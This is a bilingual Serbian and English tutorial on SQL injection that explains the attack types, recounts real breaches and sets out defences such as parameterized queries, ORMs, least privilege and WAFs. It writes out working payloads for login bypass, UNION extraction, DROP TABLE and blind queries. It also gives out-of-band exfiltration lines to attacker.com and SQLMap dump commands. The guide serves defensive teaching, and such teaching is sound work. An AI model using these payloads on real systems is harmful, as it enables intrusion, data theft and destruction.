SQL Injection — Objasnjenje i zastita
Kompletni vodic za SQL Injection napade: kako funkcionisu, tipovi, realni primeri i detaljne mere zastite
Sadrzaj
1. Sta je SQL Injection
SQL Injection (SQLi) je tip napada gde napadac ubacuje maliciozan SQL kod kroz korisnicki unos koji se direktno koristi u SQL upitima bez adekvatne sanitizacije. Ovo je jedna od najstarijih, ali i dalje najcescih i najopasnijih web ranjivosti.
SQL Injection je klasifikovan kao CWE-89: Improper Neutralization of Special Elements used in an SQL Command. U OWASP Top 10 2021, SQL Injection spada pod kategoriju A03:2021 — Injection (zajedno sa OS command injection, LDAP injection i drugima).
Prema Akamai izvestaju, SQL Injection napadi cine oko 65% svih napada na web aplikacije. Uprkos tome sto zastita postoji vec decenijama (prepared statements su dostupni od 1990-ih), ovaj napad ostaje dominantan zbog nastavka prakse konkatenacije SQL upita.
2. Kako SQL Injection radi — korak po korak
Primer: Login forma
Zamislite login formu gde korisnik unosi username i password. Server koristi te podatke da napravi SQL upit:
// Ranjiv PHP kod
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
Korak 1: Normalan login
// Korisnik unosi: username = "marko", password = "tajno123"
// Generisani SQL upit:
SELECT * FROM users WHERE username = 'marko' AND password = 'tajno123'
// Rezultat: vraca Markov nalog ako podaci odgovaraju
Korak 2: SQL Injection napad
// Napadac unosi: username = "admin' --", password = "bilo_sta"
// Generisani SQL upit:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'bilo_sta'
// "--" je SQL komentar — sve posle toga se ignorise!
// Efektivni upit:
SELECT * FROM users WHERE username = 'admin'
// Rezultat: napadac se uloguje kao admin BEZ lozinke!
Korak 3: Napredni napad — izvlacenje podataka
// Napadac unosi: username = "' UNION SELECT username, password FROM users --"
// Generisani upit:
SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users --'
// UNION kombinuje rezultate — napadac dobija sve korisnike i lozinke!
Korak 4: Destruktivan napad
// Napadac unosi: username = "'; DROP TABLE users; --"
// Generisani upit:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
// Rezultat: CELA tabela korisnika je obrisana!
3. Tipovi SQL Injection napada
| Tip | Opis | Tezina detekcije | Opasnost |
|---|---|---|---|
| Classic (In-band) | Rezultat napada je vidljiv na stranici | Laka | Visoka |
| Error-based | Koristi SQL error poruke za izvlacenje podataka | Laka | Visoka |
| UNION-based | Koristi UNION operator za kombinovanje upita | Srednja | Visoka |
| Blind Boolean | Saznaje podatke kroz true/false odgovore | Teska | Visoka |
| Blind Time-based | Koristi SLEEP/WAITFOR za detekciju | Teska | Visoka |
| Out-of-Band | Podaci se salju na napadacev server (DNS, HTTP) | Vrlo teska | Visoka |
Classic (In-band) SQL Injection
Najjednostavniji tip — napadac vidi rezultate upita direktno na stranici. Ukljucuje Error-based (koriscenje SQL gresaka) i UNION-based (kombinovanje rezultata).
// Error-based — izvlacenje verzije baze
' AND 1=CONVERT(int, @@version) --
// Error: Conversion failed... "Microsoft SQL Server 2019..."
// UNION-based — izvlacenje tabela
' UNION SELECT table_name, NULL FROM information_schema.tables --
Blind SQL Injection — Boolean-based
Kada server ne prikazuje SQL greske, napadac saznaje podatke postavljajuci true/false pitanja:
// Da li prvi karakter admin lozinke je 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --
// Ako stranica radi normalno = TRUE (karakter je 'a')
// Ako stranica prikazuje gresku = FALSE (karakter nije 'a')
// Napadac ponavlja za svaki karakter — sporo ali efektivno
// Automatizcija: SQLMap automatski radi ovo
Blind SQL Injection — Time-based
Kada server ne daje nikakvu razliku u odgovoru, napadac koristi kasnjenje (delay) za detekciju:
// MySQL
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0) --
// Ako odgovor kasni 5 sekundi = TRUE
// Ako je odgovor odmah = FALSE
// SQL Server
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '00:00:05' --
// PostgreSQL
'; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END --
Out-of-Band SQL Injection
Podaci se salju na napadacev server putem DNS ili HTTP zahteva. Koristi se kada in-band i blind metode ne rade:
// SQL Server — DNS exfiltration
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) --
// MySQL — HTTP exfiltration (ako je omoguceno)
' UNION SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\', (SELECT password FROM users LIMIT 1))) --
4. Realni primeri napada
Heartland Payment Systems (2008)
Albert Gonzalez i njegov tim su koristili SQL Injection da kompromituju Heartland Payment Systems, jedan od najvecih procesora karticnih transakcija u SAD-u. Napad je rezultirao kradjom 130 miliona brojeva kreditnih i debitnih kartica — u tom trenutku najveca kradja podataka u istoriji. Gonzalez je osudjen na 20 godina zatvora.
Sony Pictures (2011)
Hakerska grupa LulzSec je iskoristila SQL Injection ranjivost na Sony Pictures sajtu i kompromitovala 77 miliona korisnickih naloga na PlayStation Network-u. Podaci su ukljucivali imena, adrese, email adrese i lozinke (koje su bile cuvane u plain text-u, bez hashiranja). Sony je morao da ugasi PSN na 23 dana i procenjena steta je bila preko 171 milion dolara.
Equifax (2017)
Mada Equifax napad je primarno koristio Apache Struts ranjivost (CVE-2017-5638), SQL Injection je bio deo lanca napada za izvlacenje podataka. Kompromitovano je 147 miliona korisnickih zapisa ukljucujuci Social Security brojeve, datume rodjenja i adrese. Equifax je platio $700 miliona u nagodbi sa FTC-om, sto je najveca kazna za krsenje podataka u istoriji SAD-a.
TalkTalk (2015)
Britanski telekom provajder TalkTalk je hakovan putem SQL Injection-a. Kompromitovano je 157,000 korisnickih naloga. TalkTalk je kaznjen sa 400,000 funti od strane ICO. Interesantno, napadac je bio 17-godisnjak.
7-Eleven Japan (2019)
Napadaci su koristili SQL Injection za pristup sistemu 7pay mobilnog placanja. Kompromitovano je 900 naloga sa ukupnom kradjom od oko 500,000 dolara. 7-Eleven je morao da ugasi ceo servis.
5. Posledice SQL Injection-a
- Neovlascen pristup bazi — Citanje svih tabela, ukljucujuci korisnicke podatke, lozinke, finansijske informacije
- Modifikacija podataka — Promena cena, izmena korisnickih naloga, dodavanje admin pristupa
- Brisanje podataka — DROP TABLE, DELETE FROM — potpuni gubitak podataka
- Privilege escalation — Dodavanje admin naloga, dobijanje pristupa koji ne bi trebalo da imate
- OS command execution — Na nekim DB sistemima (SQL Server sa xp_cmdshell) napadac moze da izvrsi komande na serveru
- Lateralni pokret — Koriscenje DB servera kao odskocne tacke za napad na interne sisteme
- Finansijska steta — Kazne (GDPR, FTC), sudski troskovi, gubitak klijenata
- Reputaciona steta — Gubitak poverenja korisnika i poslovnih partnera
6. Zastita: Prepared Statements (Parameterized Queries)
Prepared statements su najefektivnija zastita od SQL Injection-a. Princip je jednostavan: odvojite SQL kod od podataka. Baza podataka tretira parametre iskljucivo kao vrednosti, nikada kao deo SQL koda.
PHP — PDO
// RANJIVO — konkatenacija
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// BEZBEDNO — PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
':username' => $username,
':password' => $password
]);
$user = $stmt->fetch();
Python — sqlite3 / psycopg2
# RANJIVO
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
# BEZBEDNO — parametrizovani upit
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
# SQLAlchemy
from sqlalchemy import text
result = db.execute(text("SELECT * FROM users WHERE username = :name"), {"name": username})
Java — JDBC
// RANJIVO
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// BEZBEDNO — PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
Node.js — mysql2 / pg
// RANJIVO
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);
// BEZBEDNO — mysql2
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
// BEZBEDNO — pg (PostgreSQL)
const result = await pool.query(
'SELECT * FROM users WHERE username = $1 AND password = $2',
[username, password]
);
C# — ADO.NET
// RANJIVO
string query = "SELECT * FROM users WHERE username = '" + username + "'";
SqlCommand cmd = new SqlCommand(query, conn);
// BEZBEDNO — SqlParameter
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
' OR 1=1 --, baza ga tretira kao literal string, ne kao SQL kod.
7. Zastita: ORM alati
Object-Relational Mapping (ORM) alati automatski generisu parametrizovane SQL upite, pruzajuci zastitu od SQL Injection-a uz bolju produktivnost razvoja.
Django ORM (Python)
# BEZBEDNO — Django ORM automatski parametrizuje
user = User.objects.filter(username=username, password=password).first()
# Takodje bezbedno — lookups
users = User.objects.filter(email__contains=search_term)
# OPASNO — raw query bez parametrizacije
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'" ) # NE!
# BEZBEDNO — raw query SA parametrizacijom
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])
SQLAlchemy (Python)
from sqlalchemy import select
from models import User
# BEZBEDNO — SQLAlchemy query builder
stmt = select(User).where(User.username == username)
result = session.execute(stmt).first()
Prisma (Node.js / TypeScript)
// BEZBEDNO — Prisma automatski parametrizuje
const user = await prisma.user.findUnique({
where: {
username: username,
},
});
// BEZBEDNO — findMany sa filterima
const users = await prisma.user.findMany({
where: {
email: { contains: searchTerm },
},
});
Sequelize (Node.js)
// BEZBEDNO — Sequelize model query
const user = await User.findOne({
where: { username: username, password: password }
});
// OPASNO — raw query
sequelize.query(`SELECT * FROM users WHERE username = '${username}'`); // NE!
// BEZBEDNO — raw query sa parametrima
sequelize.query('SELECT * FROM users WHERE username = ?', {
replacements: [username],
type: QueryTypes.SELECT
});
8. Zastita: Input validacija i Least Privilege
Input validacija (dodatni sloj)
Input validacija nije zamena za prepared statements, ali je koristan dodatni sloj zastite:
// Whitelist za numericke ID-jeve
function validateId(input) {
var id = parseInt(input, 10);
if (isNaN(id) || id < 1) throw new Error('Invalid ID');
return id;
}
// Whitelist za sort kolone
var allowedColumns = ['name', 'email', 'created_at'];
function validateSortColumn(input) {
if (!allowedColumns.includes(input)) throw new Error('Invalid column');
return input;
}
// Whitelist za sort smer
function validateSortOrder(input) {
return input === 'DESC' ? 'DESC' : 'ASC';
}
Princip najmanje privilegije (Least Privilege)
Kreirajte odvojene DB korisnike sa minimalnim privilegijama:
-- Korisnik za citanje (web aplikacija - vecina upita)
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON mydb.* TO 'app_readonly'@'localhost';
-- Korisnik za pisanje (kada je potrebno)
CREATE USER 'app_write'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'app_write'@'localhost';
-- NAPOMENA: Nema DELETE, DROP, ALTER privilegija!
-- Nikada ne koristite root nalog za web aplikaciju!
-- Nikada ne dodeljujte: DROP, ALTER, GRANT, FILE, PROCESS, SUPER
Stored procedure (oprezno)
-- Stored procedure moze pomoci, ali MORA koristiti parametre
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
SELECT * FROM users WHERE username = p_username;
-- p_username je parametrizovan — bezbedan
END;
-- OPASNO — dinamicki SQL u proceduri
CREATE PROCEDURE UnsafeSearch(IN p_term VARCHAR(100))
BEGIN
SET @query = CONCAT('SELECT * FROM products WHERE name LIKE ''%', p_term, '%''');
PREPARE stmt FROM @query;
EXECUTE stmt; -- Ranjivo na SQL Injection!
END;
9. Zastita: WAF i testiranje
Web Application Firewall (WAF)
WAF je dodatni sloj zastite koji analizira HTTP zahteve i blokira sumnjive SQL Injection pokusaje. Popularne opcije:
- ModSecurity — Open-source WAF za Apache, Nginx i IIS. OWASP Core Rule Set (CRS) ukljucuje pravila za SQL Injection detekciju.
- Cloudflare WAF — Cloud-based WAF sa ugradjenim pravilima za SQLi.
- AWS WAF — Amazon-ov WAF sa managed rule group-ama za SQL Injection.
- Imperva — Enterprise WAF sa naprednom SQLi zastitom.
Testiranje sa SQLMap
SQLMap je open-source alat za automatsko testiranje i eksploataciju SQL Injection ranjivosti. Koristite ga za testiranje vasih sopstvenih aplikacija:
# Osnovno testiranje
sqlmap -u "https://vasajt.com/page?id=1" --batch
# Testiranje POST parametara
sqlmap -u "https://vasajt.com/login" --data="username=test&password=test" --batch
# Enumeracija baza podataka
sqlmap -u "https://vasajt.com/page?id=1" --dbs --batch
# Enumeracija tabela
sqlmap -u "https://vasajt.com/page?id=1" -D mydb --tables --batch
# Dump podataka (SAMO na sopstvenom sistemu!)
sqlmap -u "https://vasajt.com/page?id=1" -D mydb -T users --dump --batch
Drugi alati za testiranje
- OWASP ZAP — Open-source web security skener sa SQL Injection detekcijom
- Burp Suite — Profesionalni alat za web security testiranje
- Havij — Automatizcani SQL Injection alat (samo za autorizovano testiranje)
- jSQL Injection — Java-baziran SQLi alat
10. Reference i resursi
- OWASP SQL Injection Prevention Cheat Sheet — Kompletni vodic za zastitu
- OWASP Top 10 — A03:2021 Injection
- CWE-89: SQL Injection
- PortSwigger — SQL Injection — Interaktivne laboratorije za vezbanje
- SQLMap — Automatski SQL Injection alat
- Acunetix — SQL Injection vodic
- OWASP Testing Guide — SQL Injection
- MDN — SQL Injection
SQL Injection — Explanation and Protection
Complete guide to SQL Injection attacks: how they work, types, real-world examples, and detailed protection measures
Table of Contents
- What is SQL Injection
- How SQL Injection works — step by step
- Types of SQL Injection attacks
- Real-world attack examples
- Consequences of SQL Injection
- Protection: Prepared Statements
- Protection: ORM tools
- Protection: Input validation and Least Privilege
- Protection: WAF and testing
- References and resources
1. What is SQL Injection
SQL Injection (SQLi) is a type of attack where an attacker injects malicious SQL code through user input that is directly used in SQL queries without adequate sanitization. It is one of the oldest, yet still most common and dangerous web vulnerabilities.
SQL Injection is classified as CWE-89: Improper Neutralization of Special Elements used in an SQL Command. In OWASP Top 10 2021, SQL Injection falls under category A03:2021 — Injection (along with OS command injection, LDAP injection, and others).
According to the Akamai report, SQL Injection attacks constitute about 65% of all web application attacks. Despite the fact that protection has existed for decades (prepared statements have been available since the 1990s), this attack remains dominant due to the continued practice of SQL query concatenation.
2. How SQL Injection works — step by step
Example: Login form
Imagine a login form where the user enters a username and password. The server uses this data to create an SQL query:
// Vulnerable PHP code
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
Step 1: Normal login
// User enters: username = "marko", password = "secret123"
// Generated SQL query:
SELECT * FROM users WHERE username = 'marko' AND password = 'secret123'
// Result: returns Marko's account if credentials match
Step 2: SQL Injection attack
// Attacker enters: username = "admin' --", password = "anything"
// Generated SQL query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
// "--" is an SQL comment — everything after it is ignored!
// Effective query:
SELECT * FROM users WHERE username = 'admin'
// Result: attacker logs in as admin WITHOUT a password!
Step 3: Advanced attack — data extraction
// Attacker enters: username = "' UNION SELECT username, password FROM users --"
// Generated query:
SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users --'
// UNION combines results — attacker gets all users and passwords!
Step 4: Destructive attack
// Attacker enters: username = "'; DROP TABLE users; --"
// Generated query:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
// Result: the ENTIRE users table is deleted!
3. Types of SQL Injection attacks
| Type | Description | Detection difficulty | Danger |
|---|---|---|---|
| Classic (In-band) | Attack result is visible on the page | Easy | High |
| Error-based | Uses SQL error messages for data extraction | Easy | High |
| UNION-based | Uses UNION operator to combine queries | Medium | High |
| Blind Boolean | Discovers data through true/false responses | Hard | High |
| Blind Time-based | Uses SLEEP/WAITFOR for detection | Hard | High |
| Out-of-Band | Data sent to attacker's server (DNS, HTTP) | Very hard | High |
Classic (In-band) SQL Injection
The simplest type — the attacker sees the query results directly on the page. Includes Error-based (using SQL errors) and UNION-based (combining results).
// Error-based — extracting database version
' AND 1=CONVERT(int, @@version) --
// Error: Conversion failed... "Microsoft SQL Server 2019..."
// UNION-based — extracting tables
' UNION SELECT table_name, NULL FROM information_schema.tables --
Blind SQL Injection — Boolean-based
When the server does not display SQL errors, the attacker discovers data by asking true/false questions:
// Is the first character of admin password 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --
// If page works normally = TRUE (character is 'a')
// If page shows error = FALSE (character is not 'a')
// Attacker repeats for each character — slow but effective
// Automation: SQLMap does this automatically
Blind SQL Injection — Time-based
When the server gives no difference in response, the attacker uses delay for detection:
// MySQL
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0) --
// If response delays 5 seconds = TRUE
// If response is immediate = FALSE
// SQL Server
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '00:00:05' --
4. Real-world attack examples
Heartland Payment Systems (2008)
Albert Gonzalez and his team used SQL Injection to compromise Heartland Payment Systems, one of the largest card transaction processors in the US. The attack resulted in the theft of 130 million credit and debit card numbers — at the time the largest data theft in history. Gonzalez was sentenced to 20 years in prison.
Sony Pictures (2011)
The hacker group LulzSec exploited an SQL Injection vulnerability on the Sony Pictures site and compromised 77 million user accounts on the PlayStation Network. The data included names, addresses, email addresses, and passwords (which were stored in plain text, without hashing). Sony had to shut down PSN for 23 days and estimated damage exceeded $171 million.
Equifax (2017)
While the Equifax attack primarily used an Apache Struts vulnerability (CVE-2017-5638), SQL Injection was part of the attack chain for data extraction. 147 million user records were compromised including Social Security numbers, birth dates, and addresses. Equifax paid $700 million in a settlement with the FTC, the largest data breach fine in US history.
TalkTalk (2015)
British telecom provider TalkTalk was hacked via SQL Injection. 157,000 user accounts were compromised. TalkTalk was fined 400,000 pounds by the ICO. Interestingly, the attacker was a 17-year-old.
5. Consequences of SQL Injection
- Unauthorized database access — Reading all tables, including user data, passwords, financial information
- Data modification — Changing prices, modifying user accounts, adding admin access
- Data deletion — DROP TABLE, DELETE FROM — complete data loss
- Privilege escalation — Adding admin accounts, gaining access you should not have
- OS command execution — On some DB systems (SQL Server with xp_cmdshell) the attacker can execute commands on the server
- Lateral movement — Using the DB server as a stepping stone to attack internal systems
- Financial damage — Fines (GDPR, FTC), legal costs, customer loss
- Reputational damage — Loss of trust from users and business partners
6. Protection: Prepared Statements (Parameterized Queries)
Prepared statements are the most effective protection against SQL Injection. The principle is simple: separate SQL code from data. The database treats parameters exclusively as values, never as part of SQL code.
PHP — PDO
// VULNERABLE — concatenation
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// SAFE — PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
':username' => $username,
':password' => $password
]);
$user = $stmt->fetch();
Python — sqlite3 / psycopg2
# VULNERABLE
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
# SAFE — parameterized query
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
Java — JDBC
// VULNERABLE
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// SAFE — PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
Node.js — mysql2 / pg
// VULNERABLE
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);
// SAFE — mysql2
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
// SAFE — pg (PostgreSQL)
const result = await pool.query(
'SELECT * FROM users WHERE username = $1 AND password = $2',
[username, password]
);
' OR 1=1 --, the database treats it as a literal string, not as SQL code.
7. Protection: ORM tools
Object-Relational Mapping (ORM) tools automatically generate parameterized SQL queries, providing SQL Injection protection with better development productivity.
Django ORM (Python)
# SAFE — Django ORM automatically parameterizes
user = User.objects.filter(username=username, password=password).first()
# Also safe — lookups
users = User.objects.filter(email__contains=search_term)
# DANGEROUS — raw query without parameterization
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'") # NO!
# SAFE — raw query WITH parameterization
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])
Prisma (Node.js / TypeScript)
// SAFE — Prisma automatically parameterizes
const user = await prisma.user.findUnique({
where: {
username: username,
},
});
// SAFE — findMany with filters
const users = await prisma.user.findMany({
where: {
email: { contains: searchTerm },
},
});
Sequelize (Node.js)
// SAFE — Sequelize model query
const user = await User.findOne({
where: { username: username, password: password }
});
// DANGEROUS — raw query
sequelize.query(`SELECT * FROM users WHERE username = '${username}'`); // NO!
// SAFE — raw query with parameters
sequelize.query('SELECT * FROM users WHERE username = ?', {
replacements: [username],
type: QueryTypes.SELECT
});
8. Protection: Input validation and Least Privilege
Input validation (additional layer)
Input validation is not a replacement for prepared statements, but it is a useful additional layer of protection:
// Whitelist for numeric IDs
function validateId(input) {
var id = parseInt(input, 10);
if (isNaN(id) || id < 1) throw new Error('Invalid ID');
return id;
}
// Whitelist for sort columns
var allowedColumns = ['name', 'email', 'created_at'];
function validateSortColumn(input) {
if (!allowedColumns.includes(input)) throw new Error('Invalid column');
return input;
}
Principle of Least Privilege
Create separate DB users with minimal privileges:
-- Read-only user (web application - most queries)
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON mydb.* TO 'app_readonly'@'localhost';
-- Write user (when needed)
CREATE USER 'app_write'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'app_write'@'localhost';
-- NOTE: No DELETE, DROP, ALTER privileges!
-- Never use root account for web applications!
-- Never grant: DROP, ALTER, GRANT, FILE, PROCESS, SUPER
Testing with SQLMap
SQLMap is an open-source tool for automated SQL Injection testing and exploitation. Use it to test your own applications:
# Basic testing
sqlmap -u "https://yoursite.com/page?id=1" --batch
# Testing POST parameters
sqlmap -u "https://yoursite.com/login" --data="username=test&password=test" --batch
# Database enumeration
sqlmap -u "https://yoursite.com/page?id=1" --dbs --batch
# Table enumeration
sqlmap -u "https://yoursite.com/page?id=1" -D mydb --tables --batch
Other testing tools
- OWASP ZAP — Open-source web security scanner with SQL Injection detection
- Burp Suite — Professional web security testing tool
- jSQL Injection — Java-based SQLi tool
10. References and resources
- OWASP SQL Injection Prevention Cheat Sheet — Complete protection guide
- OWASP Top 10 — A03:2021 Injection
- CWE-89: SQL Injection
- PortSwigger — SQL Injection — Interactive practice labs
- SQLMap — Automated SQL Injection tool
- OWASP Testing Guide — SQL Injection
- MDN — SQL Injection